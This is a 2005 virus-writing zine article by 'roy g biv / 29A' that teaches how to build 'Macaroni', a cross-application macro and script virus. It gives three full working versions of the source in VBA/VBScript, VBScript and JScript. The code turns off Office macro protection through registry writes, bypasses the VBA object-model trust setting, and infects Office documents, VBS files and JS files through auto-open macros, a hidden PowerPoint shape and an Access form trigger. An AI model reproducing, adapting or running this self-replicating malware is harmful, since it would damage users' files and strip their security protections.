Out of Office Responses
roy g biv / 29A
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping
virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped out). Author of world's first virus using Thread Local Storage for
replication (Shrug, see Virus Bulletin 6/02 for a description, but they call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication (OU812), world's first Native executable virus (Chthon), world's
first virus using process co-operation to prevent termination (Gemini, see
Virus Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP headers (JunkMail, see Virus Bulletin 11/02 for a description), world's
first viruses that can convert any data files to infectable objects (Pretext),
world's first 32/64-bit parasitic EPO .NET virus (Croissant, see Virus
Bulletin 11/04 for a description, but they call it Impanate), world's first
virus using self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03 for a
description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus
Bulletin 6/04 for a description, but they call it Rugrat), world's first virus
for Win64 on AMD AMD64 (Shrug), and world's first cross-infecting virus for
Intel IA32 and AMD AMD64 (Shrug). Author of various retrovirus articles (eg
see Vlad #7 for the strings that make your code invisible to TBScan). Went to
sleep for a number of years. This is my third virus for VBScript and JScript,
and my first macro virus for many Microsoft Office applications. They are the
world's first viruses that infect Office applications and script files using
the same code.
VBA - Virusal Basic for Applications
Microsoft introduced a very powerful language in Office 97 and later versions,
called Visual Basic for Applications. One of the best things about it is that
many Office applications can use it. The environment is not quite the "write
once, run everywhere", but with a little bit of code we can support multiple
applications very easily.
Let us decide to export our macro source from several different applications.
If we know, for example, that the last two characters are different for each
of those applications, then we can export our source like this:
s = Right(Application.Name, 2)
t = ""
If s = "rd" Or s= "io" Then 'Word, Visio
t = "Document"
Set o = ActiveDocument
ElseIf s = "el" Then 'Excel
t = "Workbook"
Set o = ActiveWorkbook
ElseIf s = "ct" Then 'Project
t = "Project"
Set o = ActiveProject
Else If s = "nt" Then 'PowerPoint
Set o = ActivePresentation
End If
o.VBProject.VBComponents("This" + t).Export ("c:\file")
Great, this already covers Word, Visio, Excel, Project, and PowerPoint (we
call our macro "This" in this example for PowerPoint, to make things simpler).
These are all Microsoft Office applications, but we are not limited to just
those. If we look here:
http://msdn.microsoft.com/vba/companies/company.asp
we can see many other potential targets. Not all of those are infectable,
though. AutoCAD, for example, saves the macros in .dvb files, so they are
separated from the drawings (.dwg) files, and do not load automatically.
We must use Active*.VBProject, not VBE.ActiveVBProject (except in Access, see
below), because the ActiveVBProject might not be our code if there are other
documents open with us, or if the application was launched with our file as a
parameter (so the global template loads first and will be the active project).
Maybe you see that Access and Publisher are not supported. For Access, it is
because the code is a bit different - there is no ActiveDatabase object, only
the CurrentDb object, but it does not expose any Visual Basic components.
Instead, we must use the VBE.ActiveVBProject after all.
Publisher is not supported because it does not expose the Visual Basic Object
Model. Can a Publisher virus be written? Probably, but not by me. ;)
Resume Next
A better alternative is if the code "knows" what kind of object is carrying
it, for example by using an array of object names, indexed by a variable that
we assign during replication. Then we can use the fact that a runtime error
during an assignment prevents the assignment from occurring. Then we can do
this instead:
On Error Resume Next
Set o = ActiveDocument
Set o = ActiveWorkbook
Set o = ActiveProject
Set o = ActivePresentation
o.VBProject.VBComponents("This" + name(index)).Export ("c:\file")
Our "o" variable will be assigned by whichever of the objects is valid, and
will not be disturbed by any of the others, since they are invalid.
False Sense of Security
After macro viruses became very popular, Microsoft introduced some security
measures to make it more difficult to replicate. The first of these was the
Macro Virus Protection. The implementation is different in different Office
applications, and even in different versions of the same application, however
the state of the protection is always stored in the registry. For Office 97,
we have these settings, which are under HKCU\Software\Microsoft\Office\8.0:
App Value Type Data
Word: Word\Options\EnableMacroVirusProtection REG_SZ "0"
Project: MS Project\Options\General\Macro Virus Protection REG_SZ "No"
Excel: Excel\Microsoft Excel\Options6 REG_DWORD 0
PowerPoint: PowerPoint\Options\MacroVirusProtection REG_DWORD 0
For Office 2000 and later versions (except for Visio), we have these settings,
which are under HKCU\Software\Microsoft\Office\x.0 (where 'x' is the version
number - 9 for Office 2000, 10 for Office XP, 11 for Office 2003):
App Value Type Data
Word: Word\Security\Level REG_DWORD n
Project: MS Project\Security\Level REG_DWORD n
Excel: Excel\Security\Level REG_DWORD n
PowerPoint: PowerPoint\Security\Level REG_DWORD n
where 'n' is the security level, 1 for Low, 2 for Medium, 3 for High.
For Visio, it is under HKCU\Software\Microsoft\Visio\Security\Level
That's not all. Microsoft introduced in Office 2000 a new problem. The
problem is the option called "Trust access to Visual Basic Project". This
option prevents a macro from accessing the Visual Basic Object Model. In
Office 2003, this option also prevents a program from accessing the VBOM using
OLE Automation. It can be bypassed by creating the "AccessVBOM" registry
value, in the same location as the "Level" value above, and setting its data
to 1. However, if the value existed already, then its data are cached by any
running Office application, so there is no effect if a macro changes the data
while the application is already running. For that case, there is the
COM Application.AutomationSecurity property which will enable macros in files
when the value is set to 1, regardless of the registry settings.
First attempt
Let's put that all together and create an Office mega-infector.
'Macaroni - roy g biv 05/02/05
a=array("doc","xls","ppt","mdb","mpp","vsd")
b=array("Word","Excel","PowerPoint","Access","Project","Visio")
c=array("Document","WorkBook","p","d",b(4),"Document")
y="byval z as "
dim d(6)
d(4)=y+b(4)
d(5)=y+"iv"+c(0)
e = 0 'spaces must be here because VBA will insert them anyway
f="This"+c(e)
g="m" 'our export filename
on error resume next
vbe.activevbproject.vbcomponents(f).export(g) 'Access only
set h=activedocument
set h=activeworkbook
set h=activeproject
set h=activepresentation
h.vbproject.vbcomponents(f).export(g) 'everything else
set i=createobject("scripting.filesystemobject")
j=i.opentextfile(g).readall
j=mid(j,instr(j,"'M")) 'remove everything before our code
j=left(j,instr(j,"'"+"'")+1) 'remove everything after our code
i.getfile(g).delete 'clean up
randomize
e=int(rnd*6)
f="This"+c(e)
g=instr(j,"e = ")
k=vbcrlf
g=k+left(j,g+3)+cstr(e)+mid(j,g+5)+k+"end " 'save container type for next time
set j=createobject("wscript.shell")
l="HKCU\software\microsoft\"
m=l+"office\8.0\"
n="REG_SZ"
j.regwrite m+"Word\Options\EnableMacroVirusProtection",0,n
j.regwrite m+"MS Project\Options\General\Macro Virus Protection","No",n
n="REG_DWORD"
j.regwrite m+"Excel\Microsoft Excel\Options6",0,n
j.regwrite m+"PowerPoint\Options\MacroVirusProtection",0,n
m=b(e)
if e=4then m="MS "+m
for o=9to 12
p=l
if e<>5then p=p+"Office\"+cstr(o)+".0\"
p=p+m+"\Security\"
j.regwrite p+"Level",1,n
j.regwrite p+"AccessVBOM",1,n
next
set j=i.getfolder(".") 'demo version, current directory only
for each l in j.files
if lcase(i.getextensionname(l))=a(e)then
l=l.path
err=0
set n=i.opentextfile(l,8)
if err.number=0then
if e=5then
set n=createobject(m+".invisibleapp")
else
if e=4then m="MS"+b(e)
set n=createobject(m+".application")
end if
if err.number=0then
n.visible=0
n.application.automationsecurity=1
set o=n.documents
set o=n.workbooks
set o=n.presentations
err=0
if e=3then
n.opencurrentdatabase(l)
else
if e=4then
n.fileopen(l)
set o=n.activeproject
else
if e=2then n.visible=1 'PowerPoint window is not allowed to be hidden
set o=o.open(l)
end if
end if
if err.number=0then
set l=n.vbe.activevbproject.vbcomponents(f).codemodule
set l=o.vbproject.vbcomponents(f).codemodule
p="_open"
if e=5then p="_"+c(0)+"opened"
p=c(e)+p
err=0
l=l.proccountlines(p,0) 'infection marker is presence of code in module of our name
if err.number>0then
if e=2then o.vbproject.vbcomponents.add(1).name=f
'PowerPoint does not contain any This* module by default
if e=3then 'Access does not contain any This* module by default
with n.vbe.activevbproject
.vbcomponents.add(1).name=f
set l=.vbcomponents(f).codemodule
end with
end if
set l=o.vbproject.vbcomponents(f).codemodule
o="private "
q="sub "
if e=2or e=3then
o=""
if e=3then q="function "
end if
l.addfromstring(o+q+p+"("+d(e)+")"+g+q) 'all but PowerPoint and Access activation is auto-macro
with n.activepresentation 'PowerPoint activation is via AutoShape click action
with .slidemaster
set l=.shapes.addshape(1,0,0,.width,.height)
end with
l.fill.transparency=1
with l.actionsettings(1)
.action=8
.run=p
end with
.save
.close
end with
if e=3then 'Access activation is via form open
n.docmd.openform n.currentproject.allforms(0).name,1
n.forms(0).onopen="="+p+"()"
n.docmd.save 5,f
end if
n.activedocument.save
n.activeworkbook.save
n.filesave
n.fileclose
end if
end if
if e<>2and e<>4then n.quit 'PowerPoint and Project are single-instance
end if
end if
end if
next
h.slideshowwindow.view.next'' 'move to next PowerPoint slide, double quote to mark end of code
So we cover Word, Excel, PowerPoint, Access, Project, Visio in ~130 lines.
What's next?
Second attempt
If you are familiar with VBScript, you might notice something special about
the code above - is it VBA or VBS? Actually, it is written in such a way that
it is identical. The next step should be obvious - infect VBS files, too.
This is achieved very simply. Firstly, we add "vbs" to our extension array.
Next, we get our filename if we are in VBS mode. We no longer delete the
file, since it is not temporary anymore. Finally, for each VBS file that we
find, we search within it for our infection marker, then add ourselves if it
is not found. That produces this code:
'Macaroni - roy g biv 05/02/05
a=array("doc","xls","ppt","mdb","mpp","vsd","vbs")
b=array("Word","Excel","PowerPoint","Access","Project","Visio")
c=array("Document","WorkBook","p","d",b(4),"Document","Macaroni")
y="byval z as "
dim d(6)
d(4)=y+b(4)
d(5)=y+"iv"+c(0)
e = 6 'spaces must be here because VBA will insert them anyway, begin in VBS mode
f="This"+c(e)
g="m" 'our export filename
on error resume next
vbe.activevbproject.vbcomponents(f).export(g) 'Access only
set h=activedocument
set h=activeworkbook
set h=activeproject
set h=activepresentation
h.vbproject.vbcomponents(f).export(g) 'everything else
if e=6then g=wscript.scriptfullname
i="'"+c(6)
set j=createobject("scripting.filesystemobject")
k=j.opentextfile(g).readall
k=mid(k,instr(k,i)) 'remove everything before our code
k=left(k,instr(k,"'"+"'")+1) 'remove everything after our code
if e<>6then j.getfile(g).delete 'clean up if not in VBS file
randomize
e=int(rnd*7)
f="This"+c(e)
g=instr(k,"e = ")
l=vbcrlf
g=l+left(k,g+3)+cstr(e)+mid(k,g+5)+l+"end " 'save container type for next time
set k=createobject("wscript.shell")
m="HKCU\software\microsoft\"
n=m+"office\8.0\"
o="REG_SZ"
k.regwrite n+"Word\Options\EnableMacroVirusProtection",0,o
k.regwrite n+"MS Project\Options\General\Macro Virus Protection","No",o
o="REG_DWORD"
k.regwrite n+"Excel\Microsoft Excel\Options6",0,o
k.regwrite n+"PowerPoint\Options\MacroVirusProtection",0,o
n=b(e)
if e=4then n="MS "+n
if e<>6then
for p=9to 12
q=m
if e<>5then q=q+"Office\"+cstr(p)+".0\"
q=q+n+"\Security\"
k.regwrite q+"Level",1,o
k.regwrite q+"AccessVBOM",1,o
next
end if
set k=j.getfolder(".") 'demo version, current directory only
for each m in k.files
if lcase(j.getextensionname(m))=a(e)then
m=m.path
err=0
set o=j.opentextfile(m,8)
if err.number=0then
p="sub "
if e=6then
if instr(j.opentextfile(m).readall,i)=0then o.write l+c(6)+l+p+c(6)+g+p
'infect VBS if not infected already (infection marker is first comment)
else
err=0
if e=5then
set o=createobject(n+".invisibleapp")
else
if e=4then n="MS"+b(e)
set o=createobject(n+".application")
end if
if err.number=0then
o.visible=0
o.application.automationsecurity=1
set q=o.documents
set q=o.workbooks
set q=o.presentations
err=0
if e=3then
o.opencurrentdatabase(m)
else
if e=4then
o.fileopen(m)
set q=o.activeproject
else
if e=2then o.visible=1 'PowerPoint window is not allowed to be hidden
set q=q.open(m)
end if
end if
if err.number=0then
set m=o.vbe.activevbproject.vbcomponents(f).codemodule
set m=q.vbproject.vbcomponents(f).codemodule
r="_open"
if e=5then r="_"+c(0)+"opened"
r=c(e)+r
err=0
m=m.proccountlines(q,0) 'Office infection marker is presence of code in module of our name
if err.number>0then
if e=2then q.vbproject.vbcomponents.add(1).name=f
'PowerPoint does not contain any This* module by default
if e=3then 'Access does not contain any This* module by default
with o.vbe.activevbproject
.vbcomponents.add(1).name=f
set m=.vbcomponents(f).codemodule
end with
end if
set m=q.vbproject.vbcomponents(f).codemodule
q="private "
if e=2or e=3then
q=""
if e=3then p="function "
end if
m.addfromstring(q+p+r+"("+d(e)+")"+g+p)
'all but PowerPoint and Access activation is auto-macro
with o.activepresentation 'PowerPoint activation is via AutoShape click action
with .slidemaster
set m=.shapes.addshape(1,0,0,.width,.height)
end with
m.fill.transparency=1
with m.actionsettings(1)
.action=8
.run=r
end with
.save
.close
end with
if e=3then 'Access activation is via form open
o.docmd.openform o.currentproject.allforms(0).name,1
o.forms(0).onopen="="+r+"()"
o.docmd.save 5,f
end if
o.activedocument.save
o.activeworkbook.save
o.filesave
o.fileclose
end if
end if
if e<>2and e<>4then o.quit 'PowerPoint and Project are single-instance
end if
end if
end if
end if
next
h.slideshowwindow.view.next'' 'move to next PowerPoint slide, double quote to mark end of code
Final attempt
We can avoid the VBOM problem in macro code by simply carrying our own source.
The maximum line length in VBA is 1024 characters, but we can extend that by
using the line-continuation character ('_'), and we must not forget that we
need to reserve some more characters for the '"', spaces, and '+'.
This also allows us to switch languages underneath, since we no longer need
the VBx compatibility that we required earlier. First is VBScript version.
sig="Macaroni - roy g biv 05/02/05" 'can no longer contain comments
a=array("doc","xls","ppt","mdb","mpp","vsd","vbs")
b=array("Word","Excel","PowerPoint","Access","Project","Visio")
c=array("Document","WorkBook","p","d",b(4),"Document","Macaroni")
y="byval z as "
dim d(6)
d(4)=y+b(4)
d(5)=y+"iv"+c(0)
on error resume next
e="sig="
set f=createobject("scripting.filesystemobject")
g=f.opentextfile(wscript.scriptfullname).readall
g=mid(g,instr(g,e))
g=left(g,instr(g,"'"+"'")+1)
randomize
h=int(rnd*7)
i="This"+c(h)
j=chr(34)
k=j+"m.vbs"+j 'our export filename
l=vbcrlf
m=l+"open "+k+" for output as #1: a = chr(34): b = vbcrlf: c = "+j+replace(g,j,j+" + a + "+j)+j+l
n=1
do
o=1017
p=mid(m,n,o)
q=0
r=1
do
q=q+1
r=instr(r,p,j)+1
loop while r>1
r=""
q=q mod 2
if q=0then 'if matches quotes then use entire line
r=j
else
s=instrrev(p,j) 'else find last closing quote
t=instrrev(p," ") 'or find last space, whichever occurs last
if s<t then
s=t
end if
p=left(p,s)
o=s
end if
m=left(m,n-1)+p+r+"+ _"+l+r+mid(m,n+o) 'split line at special character or near 1024 bytes boundary
n=n+o-q+6
loop while o>0
m=left(m,len(m)-12)+l+"print #1,c:close #1:createobject("+j+"wscript.shell"+j+").run"+k+",0"+l
if h=2then
m=m+"activepresentation.slideshowwindow.view.next"+l
'add code to move to next PowerPoint slide
end if
set n=createobject("wscript.shell")
o="HKCU\software\microsoft\"
p=o+"office\8.0\"
q="REG_SZ"
n.regwrite p+"Word\Options\EnableMacroVirusProtection",0,q
n.regwrite p+"MS Project\Options\General\Macro Virus Protection","No",q
q="REG_DWORD"
n.regwrite p+"Excel\Microsoft Excel\Options6",0,q
n.regwrite p+"PowerPoint\Options\MacroVirusProtection",0,q
p=b(h)
if h=4then
p="MS "+p
end if
if h<>6then
for r=9to 12
s=o
if h<>5then
s=s+"Office\"+cstr(r)+".0\"
end if
s=s+p+"\Security\"
n.regwrite s+"Level",1,q
n.regwrite s+"AccessVBOM",1,q
next
end if
set n=f.getfolder(".") 'demo version, current directory only
for each o in n.files
if lcase(f.getextensionname(o))=a(h)then
o=o.path
err=0
set q=f.opentextfile(o,8)
if err.number=0then
r="sub "
if h=6then
if instr(f.opentextfile(o).readall,e)=0then
q.write l+c(6)+l+r+c(6)+l+g+l+"end "+r
end if
else
err=0
if h=5then
set q=createobject(p+".invisibleapp")
else
if h=4then
p="MS"+b(h)
end if
set q=createobject(p+".application")
end if
if err.number=0then
q.visible=0
q.application.automationsecurity=1
set s=q.documents
set s=q.workbooks
set s=q.presentations
err=0
if h=3then
q.opencurrentdatabase(o)
else
if h=4then
q.fileopen(o)
set s=q.activeproject
else
if h=2then
q.visible=1 'PowerPoint window is not allowed to be hidden
end if
set s=s.open(o)
end if
end if
if err.number=0then
set o=q.vbe.activevbproject.vbcomponents(i).codemodule
set o=s.vbproject.vbcomponents(i).codemodule
t="_open"
if h=5then
t="_"+c(0)+"opened"
end if
t=c(h)+t
err=0
o=o.proccountlines(t,0) 'infection marker is presence of code in module of our name
if err.number>0then
if h=2then 'PowerPoint does not contain any This* module by default
s.vbproject.vbcomponents.add(1).name=i
end if
if h=3then 'Access does not contain any This* module by default
with q.vbe.activevbproject
.vbcomponents.add(1).name=i
set o=.vbcomponents(i).codemodule
end with
end if
set o=s.vbproject.vbcomponents(i).codemodule
s="private "
if h=2or h=3then
s=""
if h=3then
r="function "
end if
end if
o.addfromstring(s+r+t+"("+d(h)+")"+m+"end "+r)
'all but PowerPoint and Access activation is auto-macro
with q.activepresentation 'PowerPoint activation is via AutoShape click action
with .slidemaster
set o=.shapes.addshape(1,0,0,.width,.height)
end with
o.fill.transparency=1
with o.actionsettings(1)
.action=8
.run=t
end with
.save
.close
end with
if h=3then 'Access activation is via form open
q.docmd.openform q.currentproject.allforms(0).name,1
q.forms(0).onopen="="+t+"()"
q.docmd.save 5,i
end if
q.activedocument.save
q.activeworkbook.save
q.filesave
q.fileclose
end if
end if
if h<>2and h<>4then 'PowerPoint and Project are single-instance
q.quit
end if
end if
end if
end if
end if
next'' 'double quote to mark end of code
Now is JScript version. JScript code is a bit different because of no "on
error"-alike code. We must use the try...catch blocks instead to trap errors
if they occur. Another important difference is that in JScript, no error
occurs when trying to assign a not-existing collection to a variable. What
happens instead is that the variable is assigned a null value, so this case
must be checked, instead of assuming that no change is made, as in VBScript.
The code also infects JS files instead of VBS files.
/*Macaroni - roy g biv 05/02/05*/
a=new Array("doc","xls","ppt","mdb","mpp","vsd","js")
b=new Array("Word","Excel","PowerPoint","Access","Project","Visio")
c=new Array("Document","WorkBook","p","d",b[4],0,"Macaroni")
y="byval z as "
d=new Array(e="",e,e,e,y+b[4],y+"iv"+(c[5]=c[0]))
e=new ActiveXObject("scripting.filesystemobject")
f=e.opentextfile(WScript.scriptfullname).readall()
f=f.substr(f.search(g=/\/\*Mac/))
f=f.substr(0,f.lastIndexOf("//")+2)
with(Math)
{
random(1)
h=round(random()*7)
}
i="This"+c[h]
j="\""
k=j+"m.js"+j //our export filename
l=/"/g
m="\r\n"
n=m+"open "+k+" for output as #1: a = chr(34): b = vbcrlf: c = "+j+f.replace(l,j+" + a + "+j)+j+m
o=0
do
{
p=1017
q=n.substr(o,p)
r=0
s=0
t=0
do
{
++r
s=q.substr(t).search(l)+1
t+=s
}
while(s>0)
r&=1
s=""
if(!r)s=j //if matches quotes then use entire line
else q=q.substr(0,p=Math.max(q.lastIndexOf(j),q.lastIndexOf(" "))+1)
//else find last closing quote or find last space, whichever occurs last
n=n.substr(0,o)+q+s+"+ _"+m+s+n.substr(o+p) //split line at special character or near 1024 bytes boundary
o+=p-r+6
}
while(p)
l=n.substr(0,n.length-12)+m+"print #1,c:close #1:createobject("+j+"wscript.shell"+j+").run"+k+",0"+m
if(h==2)l+="activepresentation.slideshowwindow.view.next"+m
//add code to move to next PowerPoint slide
n=new ActiveXObject("wscript.shell")
p=(o="HKCU\\software\\microsoft\\")+"office\\8.0\\"
n.regwrite(p+"Word\\Options\\EnableMacroVirusProtection",0,q="REG_SZ")
n.regwrite(p+"MS Project\\Options\\General\\Macro Virus Protection","No",q)
n.regwrite(p+"Excel\\Microsoft Excel\\Options6",0,q="REG_DWORD")
n.regwrite(p+"PowerPoint\\Options\\MacroVirusProtection",0,q)
p=b[h]
if(h==4)p="MS "+p
if(h!=6)for(r=9;r<13;r++)
{
s=o
if(h!=5)s+="Office\\"+r.toString()+".0\\"
s+=p+"\\Security\\"
n.regwrite(s+"Level",1,q)
n.regwrite(s+"AccessVBOM",1,q)
}
for(n=new Enumerator(e.getfolder(".").files);!n.atEnd();n.moveNext())
//demo version, current directory only
if(e.getextensionname(o=e.getabsolutepathname(n.item())).toLowerCase()==a[h])try
{
q=e.opentextfile(o,8)
r="function "
if(h==6)
{
if(e.opentextfile(o).readall().search(g)<0)q.write(m+c[6]+"();"+r+c[6]+"(){"+f+m+"}")
}
else try
{
q.close()
if(h==5)q=new ActiveXObject(p+".invisibleapp")
else
{
if(h==4)p="MS"+b[h]
q=new ActiveXObject(p+".application")
}
q.visible=h==2 //PowerPoint window is not allowed to be hidden
try{q.application.automationsecurity=1}catch(z){}
s=q.documents
if(!s)s=q.workbooks
if(!s)s=q.presentations
try
{
if(h==3)q.opencurrentdatabase(o)
else if(h==4)
{
q.fileopen(o)
s=q.activeproject
}
else s=s.open(o)
try
{
o=q.vbe.activevbproject.vbcomponents(i).codemodule
}
catch(z)
{
try{o=s.vbproject.vbcomponents(i).codemodule}catch(z){}
}
t="_open"
if(h==5)t="_"+c[0]+"opened"
t=c[h]+t
try
{
o=o.proccountlines(t,0) //infection marker is presence of code in module of our name
}
catch(z)
{
if(h==2)s.vbproject.vbcomponents.add(1).name=i
//PowerPoint does not contain any This* module by default
if(h==3)with(q.vbe.activevbproject) //Access does not contain any This* module by default
{
vbcomponents.add(1).name=i
o=vbcomponents(i).codemodule
}
else o=s.vbproject.vbcomponents(i).codemodule
s="private "
if(h==2||h==3)s=""
if(h!=3)r="sub "
o.addfromstring(s+r+t+"("+d[h]+")"+l+"end "+r)
//all but PowerPoint and Access activation is auto-macro
if(h==2) //PowerPoint activation is via AutoShape click action
{
with(q.activepresentation)
{
with(slidemaster)o=shapes.addshape(1,0,0,width,height)
o.fill.transparency=1
with(o.actionsettings(1))
{
action=8
run=t
}
save()
close()
}
}
else if(h==3) //Access activation is via form open
{
q.docmd.openform(q.currentproject.allforms(0).name,1)
q.forms(0).onopen="="+t+"()"
q.docmd.save(5,i)
}
try
{
q.activedocument.save()
}
catch(z)
{
try
{
q.activeworkbook.save()
}
catch(z)
{
try
{
q.filesave()
q.fileclose()
}
catch(z)
{
}
}
}
}
}
catch(z){}
if(h!=2&&h!=4)q.quit() //PowerPoint and Project are single-instance
}
catch(z){}
}
catch(z){}// //double slash to mark end of code
Greets to friendly people (A-Z):
Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
sars - The Gingerbread Man - Ultras - uNdErX - Vecna - VirusBuster -
Whitehead
rgb/29A feb 2005
iam_rgb@hotmail.com